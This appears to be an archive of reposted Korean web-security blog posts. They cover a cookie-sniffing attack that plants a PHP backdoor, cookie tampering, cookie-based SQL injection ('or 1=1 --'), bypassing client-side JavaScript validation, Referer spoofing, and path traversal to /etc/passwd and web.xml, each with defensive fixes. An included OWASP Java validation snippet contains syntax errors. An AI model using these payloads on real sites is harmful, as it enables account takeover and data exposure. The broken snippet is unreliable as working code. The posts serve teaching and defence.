header 파일이 data/beist.txt 로 지정되었으니, index.html 를 열때마다 beist.txt 파일이 include 될 것입니다. index.html 을 새로 고침하면, beist.txt 의 내용이 PHP 로 실행될 것이고, 성공적으로 실행된다면 data/beist.php 백도어 파일이 생성될 것입니다.

백도어 파일이 정상적으로 만들어졌는지 확인해보겠습니다.

[화면11] http://beist.org/~beist/auto/data/beist.php?beist=id [backdoor 파일]

id 명령어로 시스템에 명령을 내려본 결과 uid 48 의 nobody 쉘을 정상적으로 이용가능함을 확인할 수 있습니다.


4. 마치는 말

Cookie Sniffing 자동화 공격에 대해서 알아보았습니다. 이것은 엄밀히 말하자면 Sniffing과 Spoofing이 결합된 것입니다. 이 방법은 Target 의 Cookie 를 언제 빼올 수 있을지 알 수 없는 상황에서 기다려야 할 필요가 없다는 점이 효과적이지만, 그러나 단점도 있습니다. 위의 문서에서 설명한 것처럼, hack.php 에서 Target CGI 를 공격하기 위해서는 Target CGI 의 구조에 대해서 미리 파악하고 있어야 한다는 것입니다.

위의 경우에서는 CGI 의 Admin 기능 중 header file 을 정의할 수 있다는 기능을 이용하여 공격을 한 것처럼, 사람이 직접 공격하는 방식이 아닌, hack.php 에서 자동화 공격을 하기 위해서는 CGI 의 구조에 대해서 어느 정도 알고 있어야만 공격을 성공할 수 있을 것입니다. 그렇기 때문에 공개된 CGI 의 경우에는 미리 분석을 통하여 hack.php 같은 프로그램을 이용하여 자동화 공격을 수행할 수 있겠지만 그렇지 않은 경우에는 힘들 것입니다.

그렇지만 Admin 의 Password 를 바꾼다거나, 등록된 정보를 본다거나 하는 정도의 간단한 작업들은 굳이 Target CGI 의 구조를 자세히 몰라도 가능할 수 있습니다.

이 외에, Cookie Sniffing 에 성공하게 되면, 해커에게 자동으로 메일을 보내거나, 문자 메세지를 보내거나 하는 기능의 프로그램을 만들어두는 것도 좋은 방법이 되겠습니다.

마지막으로, 이 방법은 많이 사용되고 있는 특정 CGI 를 공격할 때는, 자동화 공격이 유용할 수 있겠지만, 그래도 여러가지 요소들을 따져 보았을 때 아주 효율적인 기법이라고 생각되진 않습니다. 다만, 이러한 방법으로 공격을 자동화할 수 있다는 것, 그러므로 Session 도 안전하지 못하다라는 것을 이 문서에서는 시사하고 있습니다. 또한 이 방법을 응용할 경우 Web CGI를 공격하는 웜도 쉽게 제작할 수 있을 것입니다.


2009/08/26 17:33 2009/08/26 17:33

mhtml 이 InfotechStorate 프로토콜을 이용할때 취약점을 이용한 해킹입니다

테스트해보니 지금은 보안 패치된것 같네요

하지만 이 과정을 지켜보면 웹해킹에 대한 감을 잡으실 수 있습니다 ^^

2009/08/26 17:31 2009/08/26 17:31

WebKnight는 AQTRONIX사(http://www.aqtronix.com/)에서 개발한 IIS 웹서버에 설치할 수 있는
공개용 웹 방화벽입니다.

WebKnight는 ISAPI 필터 형태로 동작하며, IIS 서버 앞단에 위치하여 웹서버로 전달되기 이전에 IIS 웹서버로 들어온 모든 웹 요청에 대해 웹서버 관리자가 설정한 필터 룰에 따라 검증을 하고 SQL Injection 공격 등 특정 웹 요청을 사전에 차단함으로써 웹서버를 안전하게 지켜주는 툴입니다


출처 한국정보보호진흥원(KISA)

2009/08/26 17:30 2009/08/26 17:30

How to add validation logic to HttpServletRequest

From OWASP

Jump to: navigation, search

Overview

In a Java EE application, all user input comes from the HttpServletRequest object. Using the methods in that class, such as getParameter, getCookie, or getHeader, your application can get "raw" information directly from the user's browser. Everything from the user in the HttpServletRequest should be considered "tainted" and in need of validation and encoding before use.

So it would be nice if we could add validation to the HttpServletRequest object itself, rather than making separate calls to validation and encoding logic. This way, developers would get some validation by default. This article presents an approach to building validation into the HttpServletRequest object so that it is mandatory for developers to use the validated data.

Most projects have an "allow everything" approach to validation. What we want is a Positive security model that denies everything that's not explicitly allowed. So using this approach, you can start your project with a very restrictive set of allowed characters, and expand that only as necessary.

Approach

We're going to use a Java EE filter to wrap all incoming requests with a new class that extends HttpServletRequestWrapper, a utility class designed for just this type of application. Then all we have to do is override the specific methods that get user data and replace them with calls that do validation before returning data.

The first thing to do is to create the ValidatingHttpRequest. Note that this class calls a new custom method named "validate" that throws a ValidationException if anything goes wrong. You can do a lot in the validate method, including encoding the input before it's returned to the application.


   public class ValidatingHttpRequest extends HttpServletRequestWrapper {
      
       public ValidatingHttpRequest(HttpServletRequest request) {
               super(request);
       }
      
       public String getParameter(String name) {
               HttpServletRequest req = (HttpServletRequest) super.getRequest();
               return validate( name, req.getParameter( name ) );
       }
      
       // Danger - you can optionally allow getting the raw parameter
       public String getRawParameter( String name ) {
               HttpServletRequest req = (HttpServletRequest) super.getRequest();
               return req.getParameter( name );
       }
      
       ... follow this pattern for getHeader(), getCookie(), etc...        
      
       // This is a VERY restrictive pattern alphanumeric < 20 chars
       // It's easy to make this a parameter for the filter and configure in web.xml
       private Pattern pattern = Pattern.compile("^[a-zA-Z0-9]{0,20}$");
      
       private String validate( String name, String input ) throws ValidationException {
               String canonical = canonicalize( input );  // always canonicalize first
               if ( !pattern.matcher( canonical ).matches() ) {
                       throw new ValidationException( "Improper format in " + name + " field";
               }
               return HTMLEntityEncode( canonical );
       }
      
       // Simplifies input to its simplest form to make encoding tricks more difficult
       private String canonicalize( String input ) {
               String canonical = sun.text.Normalizer.normalize( input, Normalizer.DECOMP, 0 );
       }
      
       // Return HTML Entity code equivalents for any special characters
       public static String HTMLEntityEncode( String input ) {
               StringBuffer sb = new StringBuffer();
               for ( int i = 0; i < input.length(); ++i ) {
                       char ch = input.charAt( i );
                       if ( ch>='a' && ch<='z' || ch>='A' && ch<='Z' || ch>='0' && ch<='9' ) {
                               sb.append( ch );
                       } else {
                               sb.append( "&#" + (int)ch + ";" );
                       }
               }
               return sb.toString();
       }
      
   }

Then all we have to do is make sure that all the requests in our application get wrapped in our new wrapper. It's easy to implement with a Java EE filter.


   public class ValidationFilter implements Filter {
       public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
               chain.doFilter(new ValidatingHttpRequest( (HttpServletRequest)request ), response);
       }
   }

To add the filter to our application, all we have to do is put these classes on our application's classpath and then set up the filter in web.xml.



  <filter>
     <filter-name>ValidationFilter</filter-name>
     <filter-class>ValidationFilter</filter-class>
  </filter>
      
  <filter-mapping>
     <filter-name>ValidationFilter</filter-name>
     <url-pattern>/*</url-pattern>
  </filter-mapping>

Now all requests will go through the filter, get validated, and throw an exception if there's a problem. You'll want to set up a handler for ValidationExceptions, so that they get handled properly. If ValidationException extends SecurityException, and you've set up a handler for SecurityException that logs out users who try to hack, you'll be well on your way to a secure application.

2007-04-02 22:19:53
2009/08/26 17:29 2009/08/26 17:29

+ Indicates a space (spaces cannot be used in a URL). %20
# Indicates bookmarks.     %23
% Specifies special characters.    %25
& Separator between parameters specified in the URL. %26
/ Separates directories and subdirectories.  %2F
? Separates the actual URL and the parameters.  %3F


Char(1)
Char(2)
Char(3)
Char(4)
Char(5)
Char(6)
Char(7)
Char(8)
Char(9) 
Char(10) 
Char(11) 
Char(12) 
Char(13) 
Char(14)
Char(15)
Char(16)
Char(17)
Char(18)
Char(19)
Char(20)
Char(21)
Char(22)
Char(23)
Char(24)
Char(25)
Char(26)
Char(27)
Char(28)
Char(29)
Char(30)
Char(31)
Char(32) 
Char(33) !
Char(34) "
Char(35) #
Char(36) $
Char(37) %
Char(38) &
Char(39) '
Char(40) (
Char(41) )
Char(42) *
Char(43) +
Char(44) ,
Char(45) -
Char(46) .
Char(47) /
Char(48) 0
Char(49) 1
Char(50) 2
Char(51) 3
Char(52) 4
Char(53) 5
Char(54) 6
Char(55) 7
Char(56) 8
Char(57) 9
Char(58) :
Char(59) ;
Char(60) <
Char(61) =
Char(62) >
Char(63) ?
Char(64) @
Char(65) A
Char(66) B
Char(67) C
Char(68) D
Char(69) E
Char(70) F
Char(71) G
Char(72) H
Char(73) I
Char(74) J
Char(75) K
Char(76) L
Char(77) M
Char(78) N
Char(79) O
Char(80) P
Char(81) Q
Char(82) R
Char(83) S
Char(84) T
Char(85) U
Char(86) V
Char(87) W
Char(88) X
Char(89) Y
Char(90) Z
Char(91) [
Char(92) \
Char(93) ]
Char(94) ^
Char(95) _
Char(96) `
Char(97) a
Char(98) b
Char(99) c
Char(100) d
Char(101) e
Char(102) f
Char(103) g
Char(104) h
Char(105) i
Char(106) j
Char(107) k
Char(108) l
Char(109) m
Char(110) n
Char(111) o
Char(112) p
Char(113) q
Char(114) r
Char(115) s
Char(116) t
Char(117) u
Char(118) v
Char(119) w
Char(120) x
Char(121) y
Char(122) z
Char(123) {
Char(124) |
Char(125) }
Char(126) ~
Char(127) �

MSSQL : CHAR(숫자)

ORACLE : CHR(숫자)


---------------------------------------------------
char(0) = �
char(1) =
char(2) =
char(3) =
char(4) =
char(5) =
char(6) =
char(7) =
char(8) =
char(9) =
char(10) =
char(11) =
char(12) =
char(13) =
char(14) =
char(15) =
char(16) =
char(17) =
char(18) =
char(19) =
char(20) =
char(21) =
char(22) =
char(23) =
char(24) =
char(25) =
char(26) =
char(27) =
char(28) =
char(29) =
char(30) =
char(31) =
char(32) =
char(33) = !
char(34) = "
char(35) = #
char(36) = $
char(37) = %
char(38) = &
char(39) = '
char(40) = (
char(41) = )
char(42) = *
char(43) = +
char(44) = ,
char(45) = -
char(46) = .
char(47) = /
char(48) = 0
char(49) = 1
char(50) = 2
char(51) = 3
char(52) = 4
char(53) = 5
char(54) = 6
char(55) = 7
char(56) = 8
char(57) = 9
char(58) = :
char(59) = ;
char(60) = <
char(61) = =
char(62) = >
char(63) = ?
char(64) = @
char(65) = A
char(66) = B
char(67) = C
char(68) = D
char(69) = E
char(70) = F
char(71) = G
char(72) = H
char(73) = I
char(74) = J
char(75) = K
char(76) = L
char(77) = M
char(78) = N
char(79) = O
char(80) = P
char(81) = Q
char(82) = R
char(83) = S
char(84) = T
char(85) = U
char(86) = V
char(87) = W
char(88) = X
char(89) = Y
char(90) = Z
char(91) = [
char(92) = \
char(93) = ]
char(94) = ^
char(95) = _
char(96) = `
char(97) = a
char(98) = b
char(99) = c
char(100) = d
char(101) = e
char(102) = f
char(103) = g
char(104) = h
char(105) = i
char(106) = j
char(107) = k
char(108) = l
char(109) = m
char(110) = n
char(111) = o
char(112) = p
char(113) = q
char(114) = r
char(115) = s
char(116) = t
char(117) = u
char(118) = v
char(119) = w
char(120) = x
char(121) = y
char(122) = z
char(123) = {
char(124) = |
char(125) = }
char(126) = ~
char(127) =
char(128) = €
char(129) = 
char(130) = ‚
char(131) = ƒ
char(132) = „
char(133) = …
char(134) = †
char(135) = ‡
char(136) = ˆ
char(137) = ‰
char(138) = Š
char(139) = ‹
char(140) = Œ
char(141) = 
char(142) = Ž
char(143) = 
char(144) = 
char(145) = ‘
char(146) = ’
char(147) = “
char(148) = ”
char(149) = •
char(150) = –
char(151) = —
char(152) = ˜
char(153) = ™
char(154) = š
char(155) = ›
char(156) = œ
char(157) = 
char(158) = ž
char(159) = Ÿ
char(160) =  
char(161) = ¡
char(162) = ¢
char(163) = £
char(164) = ¤
char(165) = ¥
char(166) = ¦
char(167) = §
char(168) = ¨
char(169) = ©
char(170) = ª
char(171) = «
char(172) = ¬
char(173) = ­
char(174) = ??
char(175) = ¯
char(176) = °
char(177) = ±
char(178) = ²
char(179) = ³
char(180) = ´
char(181) = µ
char(182) = ¶
char(183) = ·
char(184) = ¸
char(185) = ¹
char(186) = º
char(187) = »
char(188) = ¼
char(189) = ½
char(190) = ¾
char(191) = ¿
char(192) = À
char(193) = Á
char(194) = Â
char(195) = Ã
char(196) = Ä
char(197) = Å
char(198) = Æ
char(199) = Ç
char(200) = È
char(201) = É
char(202) = Ê
char(203) = Ë
char(204) = Ì
char(205) = Í
char(206) = Î
char(207) = Ï
char(208) = Ð
char(209) = Ñ
char(210) = Ò
char(211) = Ó
char(212) = Ô
char(213) = Õ
char(214) = Ö
char(215) = ×
char(216) = Ø
char(217) = Ù
char(218) = Ú
char(219) = Û
char(220) = Ü
char(221) = Ý
char(222) = Þ
char(223) = ß
char(224) = à
char(225) = á
char(226) = â
char(227) = ã
char(228) = ä
char(229) = å
char(230) = æ
char(231) = ç
char(232) = è
char(233) = é
char(234) = ê
char(235) = ë
char(236) = ì
char(237) = í
char(238) = î
char(239) = ï
char(240) = ð
char(241) = ñ
char(242) = ò
char(243) = ó
char(244) = ô
char(245) = õ
char(246) = ö
char(247) = ÷
char(248) = ø
char(249) = ù
char(250) = ú
char(251) = û
char(252) = ü
char(253) = ý
char(254) = þ
2009/08/26 17:29 2009/08/26 17:29

Log Injection



log injection이란 sql injection처럼 파라미터를 통해 로깅을 조절하는 방법을 말합니다


보통 웹 어플리케이션에서 log4j 등을 이용해 파일에 로깅을 합니다

일반적으로는 장애 발생시 에러 추적을 위해 사용됩니다

하지만 데이터 유실시 복구 방침으로 로깅을 하기도 하고요, 그냥 말 그대로 그냥 로깅을 하기도 하지요 또한 로그 파일을 파싱하여 무언가 통계를 내기도 합니다(웹CRM)


일반적으로 로그인에 대한 로깅을 파일에 다음과 같이 합니다 (로그인예가 아니더라도..)

String userid = request.getParameter("userid");

...

if (로그인성공)

    log.write("User login succeeded for : " + userid);

else

    log.write("User login failed for : " + userid);


로그가 정상적으로 기록된다면 아마 다음과 같은 형태가 될겁니다

User login succeeded for : guest

User login succeeded for : admin


그렇다면 로그인시 다음과 같은 문자열을 입력했으면 어떻게 될까요?

guest\nUser login succeeded for : admin

그럼 로그 결과는 다음과 같이 출력됩니다

User login succeeded for : guest

User login succeeded for : admin

User login succeeded for : admin

붉은색 부분이 사용자가 입력한 부분이죠


여기서는 간단한 예를 들었습니다만 여러가지면으로 활용이 가능할 겁니다

로깅파일을 100% 신뢰할 수 없다는 것이지요 ^^

2009/08/26 17:28 2009/08/26 17:28

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트

Web Hacking 4탄 쿠키취약점



말도많고 탈도많은 쿠키!! 어떻게 사용하면 잘사용 하는걸까요?

앞으로 나오는 document.cookie등은 자동으로 "no_"앞에 가 붙습니다

Unicorn3에서 보안상 필터링하게 되어있기 때문입니다 앞에 "no_"가 없는것으로 간주하시면 됩니다


쿠키취약점

쿠키로 인증하는 사이트에 접속하여 로그인한 후 쿠키값 확인을 해봅니다

javascript:alert(document.cookie)


로그인 하지 않은 상태라면 다음과 같이 세션 아이디만 나오게 되며



로그인 한 상태라면 다음과 같이 쿠키이름과 쿠키값을 쌍으로 정보가 출력됩니다




관리자 아이디가 goodbug 라고 가정하고 이 아이디로 조작하기 위해서는 다음과 같이 입력합니다

javascript:a=prompt(document.cookie,"");alert(document.cookie=a)

그럼 프롬프트창이 하나 나타나며 이 부분에 다음과 같이 입력합니다



어떤 쿠키이름이 아이디를 나타내는 것일까요?

몇가지 없으니 가장 유력한 이름부터 하나씩 해보면 됩니다

UID=goodbug


다시 javascript:alert(document.cookie) 를 통해 쿠키값을 확인합니다


UID가 goodbug로 변경이 되었습니다

즉 내계정을 통해 goodbug로 로그인한것과 동일한 효과를 가져왔습니다!!

만약 쿠키로만 인증하는 방식이라면 타계정의 접속이나 관리자 화면으로 쉽게 들어갈 수 있습니다



 쿠키를 이용한 SQL Injection

쿠키를 이용하여 일반 로그인 화면이나 관리자 화면을 통화할 수 있습니다

SQL Injection이 어느정도 알려졌기 때문에 로그인 폼으로 부터 넘어온 아이디나 비밀번호 정보들을

일정 값들로 치환하는 경우를 볼 수 있습니다

즉 '나 ", -, \ #등의 SQL Injection에 활용되는 문자들을 무력화 시키곤 합니다

하지만 이역시 쿠키 SQL Injection을 통해 간단히 통과할 수 있습니다


마찬가지 방법으로 자신의 계정으로 로그인 하여 쿠키를 생성 한 후 다음과 같이 값을 변경합니다

UID=goodbug' or 1=1 --

관리자 화면은 화면마다 아이디를 이용해 인증을 할것입니다

하지만 이 관리자 아이디를 쿠키로 읽어온다면 아마 많은 허점이 생길겁니다

보통 쿠키로 부터 읽어온 값은 '나 --등은 체크하지 않죠

그래서 인증 관련된 부분은 항상 "특정문자를 치환+Statement" 보다는 "PreparedStatement"를 사용해야 합니다



 쿠키취약점 보안 및 결론

 -. 쿠키에 값을 구울때는 그 값을 "암호화" 하여 저장하고, 다시 읽어올때는 "역암호화"하여 사용합니다

 -. 로그인시에 IP도 쿠키에 같이 구워버리고, 데이터베이스에도 저장하며, 항상 실제 아이피와 비교하여 사용합니다

 -. 쿠키는 웹서버가 클라이언트에 남겨놓은 정보입니다

     그래서 쿠키는 클라이언트가 마음대로 조작하는것이 가능하기때문에 서버는 어떤일이 일어나는지 검사해야 한다는 것입니다


ps. 대형사이트에서는 IDS에 걸릴수 있으니 주의하세요


=============================================

본문서는 자유롭게 배포/복사 할수 있지만

이문서의 저자에 대한 언급을 삭제하시면 안됩니다

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com 

=============================================

2009/08/26 17:28 2009/08/26 17:28

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트



1. 시작하기

여러분들은 사용자가 입력한 값에대해 어느정도 검증을 하는지요?

사용자 값을 이것저것 따지고 여러가지 유효성을 체크할려면 아주 귀찮은 일이 아닐수 없습니다

그중에 하나가 웹브라우져에서 실행되는 자바스크립트로 체크하는 방법이 있는데 비지니스 로직이 조금 복잡할때는 자바스크립트로 도배를 하는 경우도 종종 있지요

유효성 검증하는일 저도 정~~말 싫어합니다 하지만 해야 합니다 ㅠ.ㅠ

그럼 어디까지 그 유효성을 체크해야 할까요? 자바스크립트로만 체크하면 될까요?


처음 웹프로그래밍을 할때는 저도 자바스크립트로만 입력값을 검증하면 되는줄 알았습니다

한마디로 몰랐죠

하지만 이제는 알기때문에 자바스크립트뿐만 아니라 서버쪽에서도 동일하게 체크해 주어야 합니다

사용자가 입력한 값이 얼마나 무서운지는 앞의 1탄, 2탄의 강좌를 통해 어느정도는 감을 잡으셨으리라 생각하고 이번 강좌에서는 왜 서버쪽에서도 체크해야 하는지!에 대해 간략히 알아보겠습니다



2. 자바스크립트 체크


입력값의 자리수가 13자리인지 체크하여 맞으면 submit을 만약 그렇지 않다면 정상적인 입력값을 요구하는 입력갑검사 로직이 있다고 가정하겠습니다 그리고 서버쪽에서는 꼭 13자리가 넘어와야 정상적인 처리를 할수 있다고 하겠습니다

그럼 아래와 같은 간단한 코드가 나올겁니다


http://www.jakartaproject.com/html/input.html

<script>

/* 입력한값이 13자리인지 체크 후 전송 */

function validateValue() {
    var obj = document.f.register_no;
    if (obj.value.length != 13) {
        alert('주민번호 정상적으로 입력하세요');
        return false;
    }
}

</script>


<form name=f method=post action=process.jsp onsubmit="return validateValue()">
주민번호 <input type=text name=register_no> <input type=submit name=btn value=submit>
</form>


 실제 웹 브라우져에서 보면 아래와 같습니다

"33" 이라는 두자리 수만 입력하니 역시나 재입력을 요구하는 alert창이 떳습니다 (가끔 깜짝깜짝 놀라죠 -,-)




그럼 정상적으로 "1111111111111" 의 입력값 13자리를 입력해 보겠습니다




 

그리고 이 값은 process.jsp 라는곳에서 파라미터로 받아 아래와 같이 처리합니다

코드는 간단하게 그 입력값과 레퍼러 값을 보여주겠습니다


http://www.jakartaproject.com/html/process.jsp

<%@ page contentType="text/html; charset=euc-kr" %>


<%
String register_no = request.getParameter("register_no");
%>


헤더정보 <%=request.getHeader("referer")%><br><br>
주민번호 <%=register_no%>


request.getHeader("referer")는 헤더정보에서 referer값을 가져오는 함수로, 이전 페이지 주소값을 가져옵니다

그럼 화면은 아래와 같이 나옵니다


자 정상적으로 처리되었습니다



3. 자바 스크립트 우회

그럼 이제부터 자바스크립트로 입력값의 자리수 체크로직을 피해가는 방법을 알아봅시다

어떤 방법이 있을까요?


URL로 접근

입력값이 몇가지 되지 않는다면 아래 방법이 가장 편하겠군요

즉 브라우져 주소창에다 직접 입력 합니다


http://www.jakartaproject.com/html/process.jsp?register_no=2222

아래와 같은 화면이 나올겁니다

메쏘드정보 (request.getMethod())를 찍어보니 GET 이 나오는군요!

그렇다면 이같은 직접 URL값을 막기위해 간단히 POST만 허용하는 로직을 추가해 버립시다


http://www.jakartaproject.com/html/process.jsp

<%@ page contentType="text/html; charset=euc-kr" %>


<%
if (!"POST".equals(request.getMethod())
   return;

String register_no = request.getParameter("register_no");
%>


헤더정보 <%=request.getHeader("referer")%><br><br>
주민번호 <%=register_no%>

이러면 괜찮겠지 흐흐.. 라고만끝나면 안됩니다


로컬파일로 접근

①번의 방법은 GET방식때문에 막혔습니다 그러면 자바스크립트를 우회하면서 POST방식으로 보내는 방법은 없을까요? 물론 있습니다

웹브라우져는 "소스보기" 라는 좋은 메뉴가 있습니다 있는건 적극 활용합시다 ㅎㅎ

소스보기한 후 바탕화면에 저장하여 약간 손을 보았습니다

즉 입력값을 체크하는 자바스크립트를 무력화 시키면서, action을 수정해 주었습니다


C:\Documents and Settings\Administrator\바탕 화면\client.html

<script>

/* 입력한값이 13자리인지 체크 후 전송 */

function validateValue() {

    return true;
}

</script>


<form name=f method=post action="http://www.jakartaproject.com/html/process.jsp" onsubmit="return validateValue()">
주민번호 <input type=text name=register_no> <input type=submit name=btn value=submit>
</form>



웹화면은 다음과 같겠죠


"submit"버튼을 클릭합니다 ^^


역시나 자바스크립트를 거치지 않고 process.jsp에 13자리수가 아닌 "22"값을 무난히 보냈습니다



그럼 서버쪽에서는 "어이쿠 이런 헤더정보도 체크해야 겠군" 하고 다음 코드를 추가해 버릴겁니다

즉 레퍼러값이 null인 경우는 허용할수 없다는 것이죠


http://www.jakartaproject.com/html/process.jsp

<%@ page contentType="text/html; charset=euc-kr" %>


<%

if (!"POST".equals(request.getMethod())
   return;


if (request.getHeader("referer") == null)
   return;

String register_no = request.getParameter("register_no");
%>


헤더정보 <%=request.getHeader("referer")%><br><br>
주민번호 <%=register_no%>

그럼 위와같은 소스가 될것입니다

그럼 과연 위 소스가 안전할까요?


HEADER값 조작

그렇다면 HEADER값을 조작해 봅시다 어떻게 조작할 수 있을까요?

여러가지 프로그램들이 있지만 그중에 Achilles 라는 proxy server를 이용하여 조작해 보겠습니다

Achilles라는 proxy server는 웹브라우져와 서버간의 HTTP 세션을 중간에서 가로채어 원하는대로 수정한 후 보낼수 있도록 해주는 작으면서도 강력한 프로그램입니다


※ 참고

Achilles 문서를 보면 맨 첫줄에 나오는 문장입니다

"Achilles is a tool designed for testing the security of web applications"

이 프로그램은 웹어플리케이션의 보안 테스팅을 하는데 작성되었으므로 테스팅용으로만 사용합시다


다운로드

http://www.mavensecurity.com/achilles


우선 위에서 작성한 바탕화면에 저장된 C:\Documents and Settings\Administrator\바탕 화면\client.html 를 실행한 결과를 Achilles가 Intercept한 결과입니다

여러 가지 헤더정보들이 보이며 쿠키값까지 조작할수 있습니다

하지만 위의 헤더정보에는 referer값이 없습니다 그래서 referer체크에서 null이 나와 로직에 걸립니다

그렇다면 referer정보를 추가해 줍시다


파랑색으로 줄쳐진 부분을 에디팅하여 추가해주었습니다

Referer: http://www.jakartaproject.com/html/input.html

그런다음 "Send"버튼으로 전송합니다


짠~

그러면 조작된 헤더정보를 알아채지 못하고 헤더의 referer값을 가져오는군요!



4. 서버쪽 로직 추가!

위에서 자바스크립트를 우회하는 몇가지 방법들을 알아보았습니다

결론은 하나입니다 즉! 서버쪽에서도 동일하게 체크해 주어야 합니다


<%@ page contentType="text/html; charset=euc-kr" %>


<%

String register_no = request.getParameter("register_no");


if (!"POST".equals(request.getMethod())
   return;


if (request.getHeader("referer") == null)
   return;


if (register_no.length() != 13)

   return;
%>


헤더정보 <%=request.getHeader("referer")%><br><br>
주민번호 <%=register_no%>


그렇다면 서버쪽에서만 체크하고 클라이언트에서는 체크할 필요가 없다고 생각할지도 모르지만,

그만큼 서버쪽으로 오는 request를 줄이면 더더욱 좋겠죠

자잘한것 하나때문에 서버쪽 부하를 줄수 없는 노릇아니겠습니까?


자 이러이러 하고 저러저러한 이유로 우리는 이제부터라도 클라이언트에서는 자바스크립트로,

서버쪽에서는 또 서버쪽 스크립트로 사용자가 입력한 값에대해 유효성을 검증해야 하는것을 알았습니다

로직이 복잡한 경우 가뜩이나 자바스크립트도 복잡한데 그 로직을 서버쪽에서 다시한번 만든다는게 힘들다는거 다들 압니다 하지만 안전한 웹페이지를 만들기 위해 다같이 노력해야 되지 않겠습니까?


Web Hacking 1탄 부터 이번 3탄에 이르기까지 웹 프로그래밍 하면서 반드시 필요하고 인식해야 하는 부분에 대해 논하였습니다

마지막으로 다시한번 언급하자면 우리가 잠깐 잊고 지나가거나 혹은 귀찮아서 지나치는 사소한 부분들 때문에 엄청난 결과를 가져올 수 있다는 것입니다 미리미리 예방하고 예측해서 방지하는수 밖에 없습니다 그럼 다들 건승~!~!


이상 GoodBug였습니다~


=============================================

본문서는 자유롭게 배포/복사 할수 있지만

이문서의 저자에 대한 언급을 삭제하시면 안됩니다

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com 

=============================================

2009/08/26 17:25 2009/08/26 17:25

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트


 

1. 시작하기

해커가 하나의 웹사이트를 공격하기 위해 많은 시간을 준비한다고 했습니다

그중에 가장 먼저 하는것 중에 하나가 바로 파라미터와 그 값에대한 목록 정리 입니다

즉 타겟 웹사이트의 모든 URL 파라미터를 GET, POST등으로 정리를 합니다


http://xxxxxxxx.com/pds/list1.php?cnum=2

http://xxxxxxxx.com/pds/list2.php?cnum=2&snum=21

http://xxxxxxxx.com/view.php?fnum=104591

http://xxxxxxxx.com/bbs/bbs.php?table=bbs_sw_qna

http://xxxxxxxx.com/bbs/bbs.php?f=write&table=bbs_sw_qna

http://xxxxxxxx.com/bbs/bbs.php?f=view&table=bbs_sw_qna&fid=48610&num=85973

...


이렇게 목록화 후 분석을 해보면 해당 파라미터가 어떤 역할을 하는지 무엇을 의미하는지 80%는 파악할 수 있습니다

bbs의 f에는 write와 view 라는 값이 주어지는것을 보니 액션에 대한 글쓰기를 할것이지 아니면 글조회를 할것인지를 나타내는것으로 보이며 table이라는 컬럼은 아마도 물리적 table이름을 말하는것 같군요

cnum은 아마도 카테고리 번호를 의미하는것이고 snum은 소카테고리번호를, num은 게시물 글번호를 의미하는것으로 추정됩니다

그럼 이 프로그램들이 어떻게 돌아가는지 대강 파악이 되고 이제부터 취약점이 있는지 체크해 나가보는겁니다


파라미터명이나 값에대해서는 유추할수 없이 프로그램 한다면 아마도 조금은 더 보안적으로 안전할 것입니다


다음은 파라미터로 적절치 않은 값을 넘겨주는 예를 알아볼 것이며, 파일 업로드, 다운로드 취약점에 대해 공부해 보겠습니다 ^^



2. 동적 파일 로딩 취약점

동적으로 어떤 특정 파일을 열어 그 파일 내용을 웹에서 보여주는 jsp가 있다고 합시다

대량의 html이나 txt 파일들을 읽어 웹에서 보여주는 로직들이 많지요 (저도 많이 썼습니다 -_-;)

동적으로 그 파일에 대한 정보를 파라미터로 읽어온다면 어떻게 될까요?


<%
String param = request.getParameter("param");


File file = new File(request.getRealPath("/")+param);


/* 파일 내용을 읽어 buffer에 저장 */

StringBuffer buffer = new StringBuffer();
if (file.exists()) {
    FileInputStream fis = new FileInputStream(file);
    byte b[] = new byte[1024];

    int read = 0;
    while ((read = fis.read(b)) != -1) {
        buffer.append(new String(b));
        b = new byte[1024];
    }
}

%>

파일내용

<%=buffer.toString()%>;


다음과 같은 요청을 보낸다면..


http://localhost/file.jsp?param=sample.txt




/ROOT/sample.txt  파일을 정상적으로 로딩하여 보여줄겁니다

하지만 다음과 같이 값을 준다면 어떻게 될까요?


http://localhost/file.jsp?param=../../../WINNT/system32/drivers/etc/services




저런 --;  시스템 파일들이 몽땅 조회가 되는군요..


Unix 계열이라면

http://localhost/file.jsp?param=../../../../../etc/passwd   ../ 올라가 보면서 찾아보는것도 좋겠죠 -_-

상위 디렉토리로 이동하면서 크래커는 passwd file을 볼수 있습니다

앗 여기서 다들 뜨끔 하신가요? 저만 그러나 ^^;


그럼 어떻게 처리해야 할까요? ../ 만 막아선 될까요?

Unix에서는 ./.\. 도 상위로 가는 명령이죠

아시겠지만 cd ./.\. 하면 한단계 위로 올라간답니다

그러니 ../ 뿐만아니라 ./.\. 도 같이 막을수 있도록 파라미터 확실히 체크를 해야 합니다



3. 동적 include 파일 취약점

그럼 include는 어떨까요? 위처럼 동적으로 include 할 파일명을 받아 처리하는 구조 말이지요


<%
String param = request.getParameter("param");
%>


파일내용<br>
<jsp:include page="<%=param%>" flush="true"/>


http://localhost/include.jsp?param=sample.txt

라고 요청을 날렸습니다




네 정상적으로 sample.txt를 가지고 왔습니다

하지만 다음과 같은 요청이 가면 어떨까요?




네 역시나 기대를 저버리지 않고 web.xml을 기냥 출력해 버리는군요 (여기서 알아보기 쉽게 <를 나타나게 하였습니다)

문제는 /WEB-INF/ 밑에 기타 중요한 properties (데이터에비스 설정 properties)가 있다면 낭패입니다

그럼 어떻게 해야 할까요? 역시나 파라미터값을 필터링 하는수 밖에 없습니다


그래도 이정도면 약과 입니다 -_-;

다음을 보도록 하지요


JSP에서 include에는 대략 4가지 방법이 있습니다

<%@ include file="sample.jsp" %>

<jsp:include page="sample.jsp" flush="true" />

pageContext.include("sample.jsp")

<c:import url="sample.jsp" />


이 4가지가 무순 차이가 있을까요?

차이점을 쓸려다 보니 이번 강좌와 좀 동떨어지는것 같아 그건 제외하고 --;


문제는 동적으로 페이지가 include가 가능 하냐입니다

이점에서는 ①은 동적으로 설정이 가능하지 않으므로 안전한 include입니다 (서버측 include이니 당연합니다)

그럼 ②과 ③은 어떨까요? include할 페이지 설정이 동적으로 가능합니다

그래서 위와 같은 문제점이 있지요

